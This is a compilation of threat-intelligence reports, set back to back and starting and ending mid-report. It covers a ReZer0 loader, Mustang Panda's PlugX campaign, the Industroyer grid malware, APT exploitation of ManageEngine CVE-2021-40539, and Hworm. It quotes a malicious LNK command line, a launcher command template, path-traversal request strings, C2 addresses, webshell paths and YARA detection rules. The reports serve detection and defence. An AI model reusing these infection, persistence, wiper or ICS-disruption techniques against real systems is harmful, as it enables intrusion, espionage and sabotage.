The detection of virtual environments and sandboxes avoids the execution within analysis environments, unless these are hardened to a certain degree. The option to persist using a scheduled task allows the malware to set the loader within the startup, which is likely more concealed than the actual malware.
At last, one of the execution methods is chosen, where the payload is downloaded and executed as a new process, it is loaded into the current process’ memory, or it is injected into a hollowed instance of another process.
## Conclusion
The features, as described above, show that the loader is capable of a variety of actions. Which actions are to be executed depend on the predefined configuration. The decryption of the embedded payload happens directly at the startup of the loader, as the byte array is defined as a static field. As such, the decrypted payload is present in memory before any of the checks have been executed. This means that antivirus software can potentially recognize the payload in memory before the execution happens. It also means that one can set a breakpoint on the field of the byte array and dump its value to a new file. This evades the loader’s additional checks completely.
## Finding More Samples
To find more samples, one can use the following rudimentary Yara rule.
```yara
rule ReZer0_simple
{
meta:
author = "Max 'Libra' Kersten"
version = "1.0"
description = "Detects ReZer0 loader samples based on the characteristic string. This rule also detects some files that happen to contain this string, but a filter on filetype should avoid issues there."
strings:
$string1 = "ReZer0"
condition:
any of them
}
```
Note that there will be some false positives within the hits this rule gives. One can either modify the rule to ensure that only Dot Net binaries are included, or simply perform a file type check once the results are in. In the past few months, the following 215 Dot Net samples were found based on this rule. Note that this list is not exhaustive. Samples are listed in no particular order. |
# Mustang Panda APT Group Uses European Commission-Themed Lure to Deliver PlugX Malware
## EXECUTIVE SUMMARY
Since at least 2019, the Mustang Panda threat actor group has targeted government and public sector organizations across Asia and Europe with long-term cyberespionage campaigns in line with strategic interests of the Chinese government. In November 2022, Mustang Panda shifted from using archive files to using malicious optical disc image (ISO) files containing a shortcut (LNK) file to deliver the modified version of PlugX malware. This switch increases the evasion against anti-malware solutions.
The Mustang Panda APT group loads the PlugX malware in the memory of legitimate software by employing a four-stage infection chain which leverages malicious shortcut (LNK) files, triggering execution via dynamic-link library (DLL) search-order-hijacking.
## PLUGX MALWARE EXECUTION FLOW
### First Stage: PlugX Malware Delivered by ISO Image
In the first stage of the infection chain, EclecticIQ researchers assess that the malware was almost certainly delivered by a malicious email with an ISO image attachment. The ISO image contains a shortcut (LNK) file, but it decoyed as a DOC file called “draft letter to European Commission RUSSIAN OIL PRICE CAP sg de.doc”. The malicious LNK file contains a command line argument that can be executed by user execution to start the PlugX malware execution chain.
The command line argument of “draft letter to European Commission RUSSIAN OIL PRICE CAP sg de.doc” is shown below:
```
C:\Windows\System32\cmd.exe /q /c "System Volume Information\ \test2022.ucp"
```
The test2022.ucp portion of the command line argument is a renamed legitimate software which is originally called LMIGuardianSvc.exe. This executable is abused to perform DLL hijacking and to load the initial PlugX loader called LMIGuardianDll.dll. The legitimate and malicious executables are placed on the same file path (System Volume Information) to perform DLL Hijacking.
### Second Stage: DLL Hijacking Execution Chain to Load PlugX Malware
When a victim clicks on the shortcut file, it executes the command line argument mentioned in the first stage, which is a technique called DLL hijacking (after the execution of LMIGuardianSvc.exe, it loads LMIGuardianDll.dll aka PlugX loader automatically). Upon execution of the PlugX loader, a Microsoft Office Word document opens. The document is named “draft letter to European Commission RUSSIAN OIL PRICE CAP sg de.docx”. This is a decoy document to trick the user into thinking there is no malicious activity.
The process tree below shows the execution of the legitimate application LMIGuardianSvc.exe, which is executed twice under a new directory (\AppData\Roaming\SamsungDriver) created by the malware and used for persistence access on the infected device.
Encrypted shellcode named LMIGuardianDat.dat contains PlugX malware. The PlugX Malware loader decrypts and loads the encrypted shellcode (LMIGuardianDat.dat) inside the LMIGuardianSvc.exe. Injected memory space can be extracted to perform further analysis of decrypted PlugX Malware.
LMIGuardianDLL.dll (PlugX Loader) decrypts the LMIGuardianDAT.dat and loads it in memory of the legitimate process. During static analysis, EclecticIQ analysts identified that the PlugX malware loader used a simple XOR algorithm to decrypt the LMIGuardianDAT.dat (XOR encrypted PlugX shellcode) to avoid signature-based detection from antimalware solutions.
PlugX loader used a static XOR key “0x47F” to decrypt the PlugX shellcode. Once the PlugX malware has been executed in-memory, the C2 config is decrypted. The C2 IP address 217[.]12[.]206[.]116 and the campaign ID of “test2022” are seen in the figures below.
### Third Stage: Registry Run Key Persistence
Mustang Panda abuses Windows registry run keys to gain persistence on the infected system. On Windows operating systems, the run registry keys execute the specified program when a user logs on to the device. The PlugX malware created a new run key called LMIGuardian Update. Every logon will cause the Windows registry run key to execute the LMIGuardianSvc.exe, triggering the DLL Hijacking that leads to PlugX malware execution.
The malware creates a new file path which is being used by the persistence mechanism (Run key) to execute the LMIGuardianSvc.exe on this specific file path.
### Fourth Stage: Command and Control Connection
After a successful execution of PlugX malware, it connects to a remote C2 server which is used to send commands to compromised systems via the PlugX malware and to receive exfiltrated data from a target network. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system. ‘Sec-Dest’ and ‘Sec-Site’ HTTP sections contain encrypted data of victim machine information sent to attackers.
The C2 IP address 217[.]12[.]206[.]116 was seen hosting another service on port 8088 with a unique SSL certificate that is itself issued to the IP address 45[.]134[.]83[.]29, which is identified as additional Mustang Panda’s infrastructure.
## Conclusion
EclecticIQ analysts assess it is almost certain the APT group Mustang Panda was responsible for this attack. Mustang Panda has leveraged PlugX malware in previous campaigns targeting Ukraine and has used similar TTPs like DLL hijacking. The group previously used Windows shortcut (LNK) files disguised using double extensions (such as .doc.lnk) with a Microsoft Word icon and has abused registry run keys for persistence. The SSL certificate used in this attack overlaps with previous Mustang Panda activity targeting Ukraine.
EclecticIQ analysts assess it is probable the target for this lure document was a European entity. The phishing lure used in the campaign discusses the effect EU sanctions against Russia will have on the European Union. Mustang Panda has targeted European organizations before in a similar campaign in 2022-10-26. Mustang Panda APT group continues to be a highly active threat group conducting cyber operations targeting organizations across Europe. EclecticIQ analysts have identified Mustang Panda operators adding new evasion techniques, like using a custom malware loader to execute an encrypted PlugX sample for the purpose of increasing infection rates and staying under the radar while performing cyber espionage activities against victims.
EclecticIQ analysts assess that it is probable Mustang Panda will increase their activity and continue to use similar TTPs in response to geopolitical developments in Ukraine and Europe, based on an examination of the group’s previous cyberespionage activity. Analysts should continue to track Mustang Panda using the TTPs and infrastructure highlighted in the report.
## Mitigations
- Implement basic incident response and detection deployments and controls like network IDS, netflow collection, host-logging, and web proxy, alongside human monitoring of detection sources.
- Employ host-based controls.
- Filter email correspondence and monitor for malicious attachments.
- Identify critical data and implement additional network segmentation and special protections for sensitive information, such as multifactor authentication, highly restricted access, and storage systems only accessible via an internal network.
- Create alerts for disk image file types, such as ISO, and shortcut files, which have been increasingly abused by different threat actors. Furthermore, organizations should consider disabling auto-mounting of ISO or VHD files.
- Configure intrusion detection systems (IDS), intrusion prevention systems (IPS), or any network defense mechanisms in place to alert on and upon review, consider blocking connection attempts from unrecognized external IP addresses and domains.
## MITRE ATT&CK
| Tactic | Technique | ATT&CK Code |
|--------|-----------|--------------|
| Execution | User Execution Malicious File | T1204 |
| Defense Evasion | Hijack Execution Flow DLL Search Order Hijacking | T1574.001 |
| Defense Evasion | Deobfuscate/Decode Files or Information | T1140 |
| Defense Evasion | Masquerading Double File Extension | T1036.007 |
| Command-and-Control | Encrypted Channel Symmetric Cryptography | T1573.001 |
| Command-and-Control | Data Encoding Standard Encoding | T1132.001 |
| Persistence | Boot or Logon Autostart Execution: Registry Run Keys / Startup | T1547.001 |
## INDICATORS OF COMPROMISE
| Sample File | SHA-256 Hash |
|-------------|---------------|
| LMIGuardianDll.dll | ee2c8909089f53aafc421d9853c01856b0a9015eba12aa0382e98417d28aef3 |
| LMIGuardianDat.dat | 8c4926dd32204b6a666b274a78ccfb16fe84bbd7d6bc218a5310970c4c5d9450 |
| draft letter to European Commission RUSSIAN OIL PRICE CAP sg de.iso | 723d804cfc334cad788f86c39c7fb58b42f452a72191f7f39400cf05d980b4f3 |
| draft letter to European Commission RUSSIAN OIL PRICE CAP sg de.doc.lnk | 2c0273394cda1b07680913edd70d3438a098bb4468f16eebf2f50d060cdf4e96 |
| LMIGuardianSvc.exe (renamed test2022.ucp) | 26c855264896db95ed46e502f2d318e5f2ad25b59bdc47bd7ffe92646102ae0d |
## Command and Control Servers
- 217[.]12[.]206[.]116
- 45[.]134[.]83[.]29
## About EclecticIQ Intelligence & Research Team
EclecticIQ is a global provider of threat intelligence, hunting, and response technology and services. Headquartered in Amsterdam, the EclecticIQ Intelligence & Research Team is made up of experts from Europe and the U.S. with decades of experience in cyber security and intelligence in industry and government. |
# WIN32/INDUSTROYER
## A new threat for industrial control systems
**Anton Cherepanov, ESET**
**Version 2017-06-12**
---
## Win32/Industroyer: a new threat for industrial control systems
Win32/Industroyer is a sophisticated piece of malware designed to disrupt the working processes of industrial control systems (ICS), specifically those used in electrical substations. This malware could have been the tool used by attackers to cause the power outage in Ukraine in December 2016, although at the time of writing, it is not confirmed, and the investigation is still ongoing. The infection vector remains unknown.
The malware contains multiple modules, as analyzed and described in the next sections of this whitepaper. However, before diving into those details, the following simplified schematic shows the connections between the components of the malware. Those behind the Win32/Industroyer malware have a deep knowledge and understanding of industrial control systems and, specifically, the industrial protocols used in electric power systems. Moreover, it seems very unlikely anyone could write and test such malware without access to the specialized equipment used in the specific, targeted industrial environment.
Support for four different industrial control protocols has been implemented by the malware authors:
- IEC 60870-5-101 (aka IEC 101)
- IEC 60870-5-104 (aka IEC 104)
- IEC 61850
- OLE for Process Control Data Access (OPC DA)
In addition to all that, the malware authors also wrote a tool that implements a denial-of-service (DoS) attack against a particular family of protection relays, specifically the Siemens SIPROTEC range. All this considered, the Win32/Industroyer malware authors show an intensive focus that suggests they are highly specialized in industrial control systems.
The capabilities of this malware are significant. When compared to the toolset used by threat actors in the 2015 attacks against the Ukrainian power grid, which culminated in a blackout on December 23, 2015 (BlackEnergy, KillDisk, and other components, including legitimate remote access software), the gang behind Industroyer are more advanced, since they went to great lengths to create malware capable of directly controlling switches and circuit breakers. We have seen indications that the malware authors are highly specialized in industrial control systems.
## Main backdoor
We refer to the core component of Industroyer as the main backdoor. The main backdoor is used by the attackers behind Industroyer to control all other components of the malware. As backdoors go, this component is pretty straightforward, connecting to its remote C&C server using HTTPS and receiving commands from the attackers. All analyzed samples are hardcoded to use the same proxy address, located in the local network. Thus, the backdoor is clearly designed to work only in one specific organization. It is also worth mentioning that most of the C&C servers used by this backdoor are running Tor software.
Perhaps the most interesting feature of this backdoor is that attackers can define a specific hour of the day when the backdoor will be active. For example, the attackers can modify the backdoor so it will communicate with its C&C server only outside working hours. This can make detection based only on network traffic examination harder. However, all the samples analyzed so far are set to work 24 hours round the clock.
The main backdoor component supports the following commands:
| Command ID | Purpose |
|------------|---------|
| 0 | Execute a process |
| 1 | Execute a process under a specific user account (Credentials for the account are supplied by the attacker) |
| 2 | Download a file from C&C server |
| 3 | Copy a file |
| 4 | Execute a shell command |
| 5 | Execute a shell command under a specific user account (Credentials for the account are supplied by the attacker) |
| 6 | Quit |
| 7 | Stop a service |
| 8 | Stop a service under a specific user account (Credentials for the account are supplied by the attacker) |
| 9 | Start a service under a specific user account (Credentials for the account are supplied by the attacker) |
| 10 | Replace "Image path" registry value for a service |
Once the attackers obtain administrator privileges, they can upgrade the installed backdoor to a more privileged version that is executed as a Windows service program. To do this, they pick an existing, non-critical Windows service and replace its ImagePath registry value with the path of the new backdoor’s binary.
## Additional backdoor
The additional backdoor provides an alternative persistence mechanism that allows the attackers to regain access to a targeted network in case the main backdoor is detected and/or disabled. This backdoor is a trojanized version of the Windows Notepad application. This is a fully functional version of the application, but the malware authors have inserted malicious code that is executed each time the application is launched. Once the attackers gain administrator privileges, they are able to replace the legitimate Notepad manually.
The inserted malicious code is heavily obfuscated, but once decrypted, it connects to a remote C&C server, which is different from the one linked in the main backdoor, and downloads a payload. This is in the form of shellcode that is loaded directly into memory and executed. In addition, the inserted code decrypts the original Windows Notepad code, which is stored at the end of the file, and then passes execution to it. Thus, the Notepad application works as expected.
## Launcher component
This component is a separate executable responsible for launching the payloads and the Data wiper component. The Launcher component contains a specific time and date. Analyzed samples contained two dates, 17th December 2016 and 20th December 2016. Once one of these dates is reached, the component creates two threads. The first thread attempts to load a payload DLL, while the second thread waits one or two hours (it depends on the Launcher component version) and then attempts to load the Data wiper component. The priority for both threads is set to THREAD_PRIORITY_HIGHEST, which means that these two threads receive a higher than normal share of CPU resources from the operating system.
The name of the payload DLL is supplied by the attackers via a command line parameter supplied in one of the main backdoor’s “execute a shell command” commands. The Data wiper component is always named haslo.dat. The expected command lines are of the form:
```
%LAUNCHER%.exe %WORKING_DIRECTORY% %PAYLOAD%.dll %CONFIGURATION%.ini
```
Each argument on the command line represents the following:
- %LAUNCHER%.exe is the filename of the Launcher component
- %WORKING_DIRECTORY% is the directory where the payload DLL and configuration is stored
- %PAYLOAD%.dll is the filename of the payload DLL
- %CONFIGURATION%.ini is the file that stores configuration data for the specified payload
The payload and Data wiper components are standard Windows DLL files. In order to be loaded by the Launcher component, they must export a function named Crash.
## 101 payload component
This payload DLL has the filename 101.dll and is named after IEC 101 (aka IEC 60870-5-101), an international standard that describes a protocol for monitoring and controlling electric power systems. The protocol is used for communication between industrial control systems and Remote Terminal Units (RTUs). The actual communication is transmitted through a serial connection.
The 101 payload component partly implements the protocol described in the IEC 101 standard and is able to communicate with an RTU or any other device with support for that protocol. Once executed, the 101 payload component parses the configuration stored in its INI file. The configuration may contain several entries: process name, Information Object Address (IOA) ranges, and the beginning and ending IOA values for the specified number of IOA ranges.
The main goal of the component is to change the On/Off state of single command type IOA and double command type IOA. Specifically, the 101 payload has three stages: in the first stage, this component attempts to switch IOAs to their Off state; in the second stage, it attempts to invert IOA states to On; and in the final stage, the component switches IOA states to Off again.
## 104 payload component
This payload DLL has the filename 104.dll and is named after IEC 104 (aka IEC 60870-5-104), an international standard. The IEC 104 protocol extends IEC 101, so the protocol can be transmitted over a TCP/IP network. Due to its highly configurable nature, this payload can be customized by the attackers for different infrastructures.
Once executed, the 104 payload DLL attempts to read its configuration file. The configuration contains a STATION section followed by properties that configure how the 104 payload should work. The configuration may contain multiple STATION entries.
Our analysis of this component reveals the following possible configuration properties:
| Property | Expected value | Purpose |
|-------------------|----------------|---------|
| target_ip | IP address | The IP address that will be used for the communication using IEC 104 protocol standard |
| target_port | Port number | Self-explanatory |
| uselog | 1 or 0 | Enables or disables logging to a file |
| logfile | Filename | Specifies the filename for the log, if enabled |
| stop_comm_service | 1 or 0 | Enables or disables termination of each STATION section defined in the configuration file |
| service_name | Process name | Specifies the process name that will be terminated |
| timeout | milliseconds | Specifies timeout between send and recv calls. Default value: 15000 |
| socket_timeout | milliseconds | Specify the receiving timeout. Default value: 15000 |
| silence | 1 or 0 | Enables or disables console output |
| asdu | Integer | Specifies ASDU (Application Service Data Unit) address also known as sector |
| first_action | on or off | Specifies the Switch value in ASDU packet for first iteration |
| change | 1 or 0 | Specifies that the Switch value in ASDU packet should be inverted during iterations |
| command_type | def or short | Specifies command pulse duration for qualifier of command (QOC) |
The main idea behind the 104 payload is relatively simple. It connects to the specified IP address and starts to send packets with the ASDU address that was defined in its configuration. The goal of this communication is to interact with an IOA of a single command type.
## 61850 payload component
Unlike the 101 and 104 payloads, this payload component exists as a standalone malicious tool comprising an executable named 61850.exe and the DLL 61850.dll. It is named after the IEC 61850 standard, which describes a protocol used for multivendor communication among devices that perform protection, automation, metering, monitoring, and control of electrical substation automation systems. The protocol is very complex and robust, but the 61850 payload uses only a small subset of the protocol to produce its disruptive effect.
Once executed, the 61850 payload DLL attempts to read the configuration file, the path to which is supplied by the Launcher component. The standalone version defaults to reading its configuration from i.ini. The configuration file is expected to contain a list of IP addresses of devices capable of communicating via the protocol described in the IEC 61850 standard.
If the configuration file is not present, this component enumerates all connected network adaptors to determine their TCP/IP subnet masks. The 61850 payload then enumerates all possible IP addresses for each of these subnet masks and tries to connect to port 102 on each of those addresses. Therefore, this component has the ability to discover relevant devices in the network automatically.
Once this component connects to a target host, it sends a Connection Request packet using the Connection Oriented Transport Protocol. If the target device responds appropriately, the 61850 payload then sends an InitiateRequest packet using the Manufacturing Message Specification (MMS). If the expected answer is received, it continues, sending an MMS getNameList request.
## OPC DA payload component
The OPC DA payload component implements a client for the protocol described in the OPC Data Access specification. OPC (OLE for Process Control) is a software standard and specification that is based on Microsoft technologies such as OLE, COM, and DCOM. The Data Access (DA) part of the OPC specification allows real-time data exchange between distributed components, based on a client–server model.
This component exists as a standalone malicious tool with the filename OPC.exe and a DLL, which implement both 61850 and OPC DA payload functionalities. The OPC DA payload does not require any kind of configuration file. Once executed by the attacker, it enumerates all OPC servers using the ICatInformation::EnumClassesOfCategories method with CATID_OPCDAServer20 category identifier and IOPCServer::GetStatus to identify the ones running.
The component writes the OPC server name, OPC item name state, quality code, and value to the log file. The logged values are separated with the following headers:
- [*ServerName: %SERVERNAME%] [State: Before]
- [*ServerName: %SERVERNAME%] [State: After ON]
- [*ServerName: %SERVERNAME%] [State: After OFF]
## Data wiper component
The data wiper component is a destructive module that is used in the final stage of an attack. The attackers use this component to hide their tracks and to make recovery difficult. This component has the filename haslo.dat or haslo.exe and can be executed by the Launcher component or used as a standalone malicious tool.
Once executed, it attempts to enumerate all keys in the registry that list Windows services. It attempts to set the registry value ImagePath with an empty string in each of the entries found. This operation will make the operating system unbootable.
The next step is actual deletion of file contents. The component enumerates files with specific file extensions on all drives connected to the computer, from C:\ to Z:\. It should be noted that during enumeration, the component skips files that are located in subdirectories that contain Windows in their name. The component rewrites file content with meaningless data obtained from newly allocated memory. In order to perform this operation thoroughly, the component attempts to rewrite files twice. The first attempt happens once the file is found on a drive. If the first attempt is unsuccessful, the wiper malware makes a second attempt, but before that, the malware terminates all processes except those included in a list of critical system processes.
To speed up the wiping operation, this component rewrites only partial file content at the beginning of the file. The amount of data to be rewritten depends on file size: the smallest amount of data will be rewritten for files less than or equal to 1Mb (4096 bytes); the largest amount of data will be rewritten for files less than or equal to 10Mb (32768 bytes).
Finally, this component attempts to terminate all processes (including system processes) except its own. This will result in the system becoming unresponsive and eventually crashing.
## Additional tools: port scanner tool
The attackers’ arsenal includes a port scanner that can be used to map the network and to find computers relevant to their attack. Interestingly, instead of using existing software, the attackers built their own custom-made port scanner. The attacker can define a range of IP addresses and a range of network ports that are to be scanned by this tool.
## Additional tools: DoS tool
Another tool from the attackers’ arsenal is a Denial-of-Service (DoS) tool that can be used against Siemens SIPROTEC devices. This tool leverages the CVE-2015-5374 vulnerability in order to render a device unresponsive. Once this vulnerability is successfully exploited, the target device stops responding to any commands until it is rebooted manually.
To exploit this vulnerability, the attackers hardcoded the device IP addresses into this tool. Once executed, it sends specifically crafted packets to port 50,000 of the target IP addresses using UDP. The UDP packet contains only 18 bytes.
## Indicators of Compromise (IoC)
**SHA-1 hashes:**
- F6C21F8189CED6AE150F9EF2E82A3A57843B587D
- CCCCE62996D578B984984426A024D9B250237533
- 8E39ECA1E48240C01EE570631AE8F0C9A9637187
- 2CB8230281B86FA944D3043AE906016C8B5984D9
- 79CA89711CDAEDB16B0CCCCFDCFBD6AA7E57120A
- 94488F214B165512D2FC0438A581F5C9E3BD4D4C
- 5A5FAFBC3FEC8D36FD57B075EBF34119BA3BFF04
- B92149F046F00BB69DE329B8457D32C24726EE00
- B335163E6EB854DF5E08E85026B2C3518891EDA8
**IP addresses of C&C servers:**
- 195.16.88[.]6
- 46.28.200[.]132
- 188.42.253[.]43
- 5.39.218[.]152
- 93.115.27[.]57
The investigation behind the Ukrainian power outage last December is still ongoing, and it is currently not confirmed that the malware analyzed here was the direct cause. Nevertheless, we believe that to be a very probable explanation, as the malware is able to directly control switches and circuit breakers at power grid substations using four ICS protocols and contains an activation timestamp for December 17, 2016, the day of the power outage. We can definitely say that the Win32/Industroyer malware family is an advanced and sophisticated piece of malware that is used against industrial control systems. However, it should be noted that the malware itself is just a tool in the hands of an even more advanced and very capable malicious actor. Using logs produced by the toolset and highly configurable payloads, the attackers could adapt the malware to any comparable environment. |
# APT Actors Exploiting Newly Identified Vulnerability in ManageEngine ADSelfService Plus
## Summary
This Joint Cybersecurity Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework, Version 8. This joint advisory is the result of analytic efforts between the Federal Bureau of Investigation (FBI), United States Coast Guard Cyber Command (CGCYBER), and the Cybersecurity and Infrastructure Security Agency (CISA) to highlight the cyber threat associated with active exploitation of a newly identified vulnerability (CVE-2021-40539) in ManageEngine ADSelfService Plus—a self-service password management and single sign-on solution.
CVE-2021-40539, rated critical by the Common Vulnerability Scoring System (CVSS), is an authentication bypass vulnerability affecting representational state transfer (REST) application programming interface (API) URLs that could enable remote code execution. The FBI, CISA, and CGCYBER assess that advanced persistent threat (APT) cyber actors are likely among those exploiting the vulnerability. The exploitation of ManageEngine ADSelfService Plus poses a serious risk to critical infrastructure companies, U.S.-cleared defense contractors, academic institutions, and other entities that use the software. Successful exploitation of the vulnerability allows an attacker to place webshells, which enable the adversary to conduct post-exploitation activities, such as compromising administrator credentials, conducting lateral movement, and exfiltrating registry hives and Active Directory files.
Zoho ManageEngine ADSelfService Plus build 6114, which Zoho released on September 6, 2021, fixes CVE-2021-40539. FBI, CISA, and CGCYBER strongly urge users and administrators to update to ADSelfService Plus build 6114. Additionally, they strongly urge organizations to ensure ADSelfService Plus is not directly accessible from the internet.
The FBI, CISA, and CGCYBER have reports of malicious cyber actors using exploits against CVE-2021-40539 to gain access to ManageEngine ADSelfService Plus, as early as August 2021. The actors have been observed using various tactics, techniques, and procedures (TTPs), including:
- Frequently writing webshells to disk for initial persistence
- Obfuscating and Deobfuscating/Decoding Files or Information
- Conducting further operations to dump user credentials
- Living off the land by only using signed Windows binaries for follow-on actions
- Adding/deleting user accounts as needed
- Stealing copies of the Active Directory database (NTDS.dit) or registry hives
- Using Windows Management Instrumentation (WMI) for remote execution
- Deleting files to remove indicators from the host
- Discovering domain accounts with the net Windows command
- Using Windows utilities to collect and archive files for exfiltration
- Using custom symmetric encryption for command and control (C2)
The FBI, CISA, and CGCYBER are proactively investigating and responding to this malicious cyber activity. The FBI is leveraging specially trained cyber squads in each of its 56 field offices and CyWatch, the FBI’s 24/7 operations center and watch floor, which provides around-the-clock support to track incidents and communicate with field offices across the country and partner agencies. CISA offers a range of no-cost cyber hygiene services to help organizations assess, identify, and reduce their exposure to threats. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors. CGCYBER has deployable elements that provide cyber capability to marine transportation system critical infrastructure in proactive defense or response to incidents.
Sharing technical and/or qualitative information with the FBI, CISA, and CGCYBER helps empower and amplify our capabilities as federal partners to collect and share intelligence and engage with victims while working to unmask and hold accountable those conducting malicious cyber activities.
## Technical Details
Successful compromise of ManageEngine ADSelfService Plus, via exploitation of CVE-2021-40539, allows the attacker to upload a .zip file containing a JavaServer Pages (JSP) webshell masquerading as an x509 certificate: service.cer. Subsequent requests are then made to different API endpoints to further exploit the victim's system. After the initial exploitation, the JSP webshell is accessible at /help/admin-guide/Reports/ReportGenerate.jsp. The attacker then attempts to move laterally using Windows Management Instrumentation (WMI), gain access to a domain controller, dump NTDS.dit and SECURITY/SYSTEM registry hives, and then, from there, continues the compromised access.
Confirming a successful compromise of ManageEngine ADSelfService Plus may be difficult—the attackers run clean-up scripts designed to remove traces of the initial point of compromise and hide any relationship between exploitation of the vulnerability and the webshell.
APT actors are using the following suite of tools to enable this campaign:
- Dropper – a dropper trojan that drops Godzilla webshell on a system.
- Godzilla – a Chinese language webshell.
- NGLite – a backdoor trojan written in Go.
- KdcSponge – a credential-stealing tool that targets undocumented APIs in Microsoft’s implementation of Kerberos.
The FBI, CISA, and CGCYBER cannot confirm that CVE-2021-40539 is the only vulnerability APT actors are leveraging as part of this activity, so it is key that network defenders focus on detecting the tools listed above in addition to the initial access vector.
## Targeted Sectors
APT cyber actors have targeted entities across the 16 critical infrastructure sectors, including academic institutions, defense contractors, as well as transportation, information technology, manufacturing, communications, and finance. Illicitly obtained access and information may disrupt company operations/logistics and subvert U.S. research across critical infrastructure sectors.
## Indicators of Compromise
**Hashes:**
- 068d1b3813489e41116867729504c40019ff2b1fe32aab4716d429780e666324
- 49a6f77d380512b274baff4f78783f54cb962e2a8a5e238a453058a351fcfbba
**File paths:**
- C:\ManageEngine\ADSelfService Plus\webapps\adssp\help\admin-guide\reports\ReportGenerate.jsp
- C:\ManageEngine\ADSelfService Plus\webapps\adssp\html\promotion\adap.jsp
- C:\ManageEngine\ADSelfService Plus\work\Catalina\localhost\ROOT\org\apache\jsp\help
- C:\ManageEngine\ADSelfService Plus\jre\bin\SelfSe~1.key (filename varies with an epoch timestamp of creation, extension may vary as well)
- C:\ManageEngine\ADSelfService Plus\webapps\adssp\Certificates\SelfService.csr
- C:\ManageEngine\ADSelfService Plus\bin\service.cer
- C:\Users\Public\custom.txt
- C:\Users\Public\custom.bat
- C:\ManageEngine\ADSelfService Plus\work\Catalina\localhost\ROOT\org\apache\jsp\help (including subdirectories and contained files)
**Webshell URL Paths:**
- /help/admin-guide/Reports/ReportGenerate.jsp
- /html/promotion/adap.jsp
Check log files located at C:\ManageEngine\ADSelfService Plus\logs for evidence of successful exploitation of the ADSelfService Plus vulnerability:
In access* logs:
- /help/admin-guide/Reports/ReportGenerate.jsp
- /ServletApi/../RestApi/LogonCustomization
- /ServletApi/../RestAPI/Connection
In serverOut_* logs:
- Keystore will be created for "admin"
- The status of keystore creation is Upload!
In adslog* logs:
- Java traceback errors that include references to NullPointerException in addSmartCardConfig or getSmartCardConfig
**TTPs:**
- WMI for lateral movement and remote code execution (wmic.exe)
- Using plaintext credentials acquired from compromised ADSelfService Plus host
- Using pg_dump.exe to dump ManageEngine databases
- Dumping NTDS.dit and SECURITY/SYSTEM/NTUSER registry hives
- Exfiltration through webshells
- Post-exploitation activity conducted with compromised U.S. infrastructure
- Deleting specific, filtered log lines
**Yara Rules:**
```yara
rule ReportGenerate_jsp {
strings:
$s1 = "decrypt(fpath)"
$s2 = "decrypt(fcontext)"
$s3 = "decrypt(commandEnc)"
$s4 = "upload failed!"
$s5 = "sevck"
$s6 = "newid"
condition:
filesize < 15KB and 4 of them
}
rule EncryptJSP {
strings:
$s1 = "AEScrypt"
$s2 = "AES/CBC/PKCS5Padding"
$s3 = "SecretKeySpec"
$s4 = "FileOutputStream"
$s5 = "getParameter"
$s6 = "new ProcessBuilder"
$s7 = "new BufferedReader"
$s8 = "readLine()"
condition:
filesize < 15KB and 6 of them
}
```
## Mitigations
Organizations that identify any activity related to ManageEngine ADSelfService Plus indicators of compromise within their networks should take action immediately. Zoho ManageEngine ADSelfService Plus build 6114, which Zoho released on September 6, 2021, fixes CVE-2021-40539. FBI, CISA, and CGCYBER strongly urge users and administrators to update to ADSelfService Plus build 6114. Additionally, they strongly recommend domain-wide password resets and double Kerberos Ticket Granting Ticket (TGT) password resets if any indication is found that the NTDS.dit file was compromised.
## Actions for Affected Organizations
Immediately report as an incident to CISA or the FBI the existence of any of the following:
- Identification of indicators of compromise as outlined above.
- Presence of webshell code on compromised ManageEngine ADSelfService Plus servers.
- Unauthorized access to or use of accounts.
- Evidence of lateral movement by malicious actors with access to compromised systems.
- Other indicators of unauthorized access or compromise.
## Contact Information
Recipients of this report are encouraged to contribute any additional information that they may have related to this threat. For any questions related to this report or to report an intrusion and request resources for incident response or technical assistance, please contact:
- To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
- To request incident response resources or technical assistance related to these threats, contact CISA at [email protected].
- To report cyber incidents to the Coast Guard, please contact the USCG National Response Center (NRC) Phone: 1-800-424-8802, email: [email protected].
## Revisions
- September 16, 2021: Initial Version
- November 19, 2021: Updated to include tools used to enable attack campaign
- November 22, 2021: Updated Palo Alto reference to Palo Alto Networks |
# Houdini’s Magic Reappearance
By Anthony Kasza and Esmid Idrizovic
Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.
## Deconstructing the Threats
The investigation into this malware began while searching through WildFire execution reports within AutoFocus. Looking for newly submitted malicious samples with no family label, a unique mutex surfaced, “RCSTEST”. Pivoting around the creation of this mutex, as well as other dynamic behaviors, a group of samples slowly began to emerge. The group of samples has common delivery mechanisms, lures and decoy file themes, payloads (Hworm), as well as control infrastructure.
Samples from this attack came in the form of SFX files. The original filenames of these delivery files are related to political figures and groups in the Middle East and the Mediterranean. They include:
- Mohamed Dahlan Abu Dhabi Meeting.exe
- ﻦﯿﻤﻠﺴﻤﻟا ناﻮﺧﻻا فﻮﻔﺻ ﻲﻓ ﺔﯿﻠﺧاد تﺎﻋاﺮﺻ.exe
- لﺎﻤﻛ ﺪﻤﺤﻣ رﻮﺘﻛﺪﻟا لﺎﯿﺘﻏا ﺔﯿﻠﻤﻋ.scr
- نﻼﺣد ﺪﻋﻮﺘﯾو ﺞﯿﻠﺨﻟا لود دﺪﻬﯾ ﷲا ﺪﺒﻋ ﻚﻠﻤﻟا.exe
- ءاﻮﻬﻟا ﻰﻠﻋ ﻦﯿﻨﻃاﻮﻣ ﻦﯿﻬﯾ يدﻮﻌﺳ ﺮﯿﻣا ﻮﯾﺪﯘﻓﻼﺑ.scr
When executed, each SFX file opens a decoy document, video, or URL, and eventually executes an Hworm payload in the background. The decoy files are similarly themed when compared to the above delivery file names.
Another sample displays a YouTube video by dropping a .url shortcut and opening it using the system’s default web browser. When the .url file is opened, the above YouTube video is displayed as a decoy. It is unclear at this time if the uploader of this video has any relation to this particular attack.
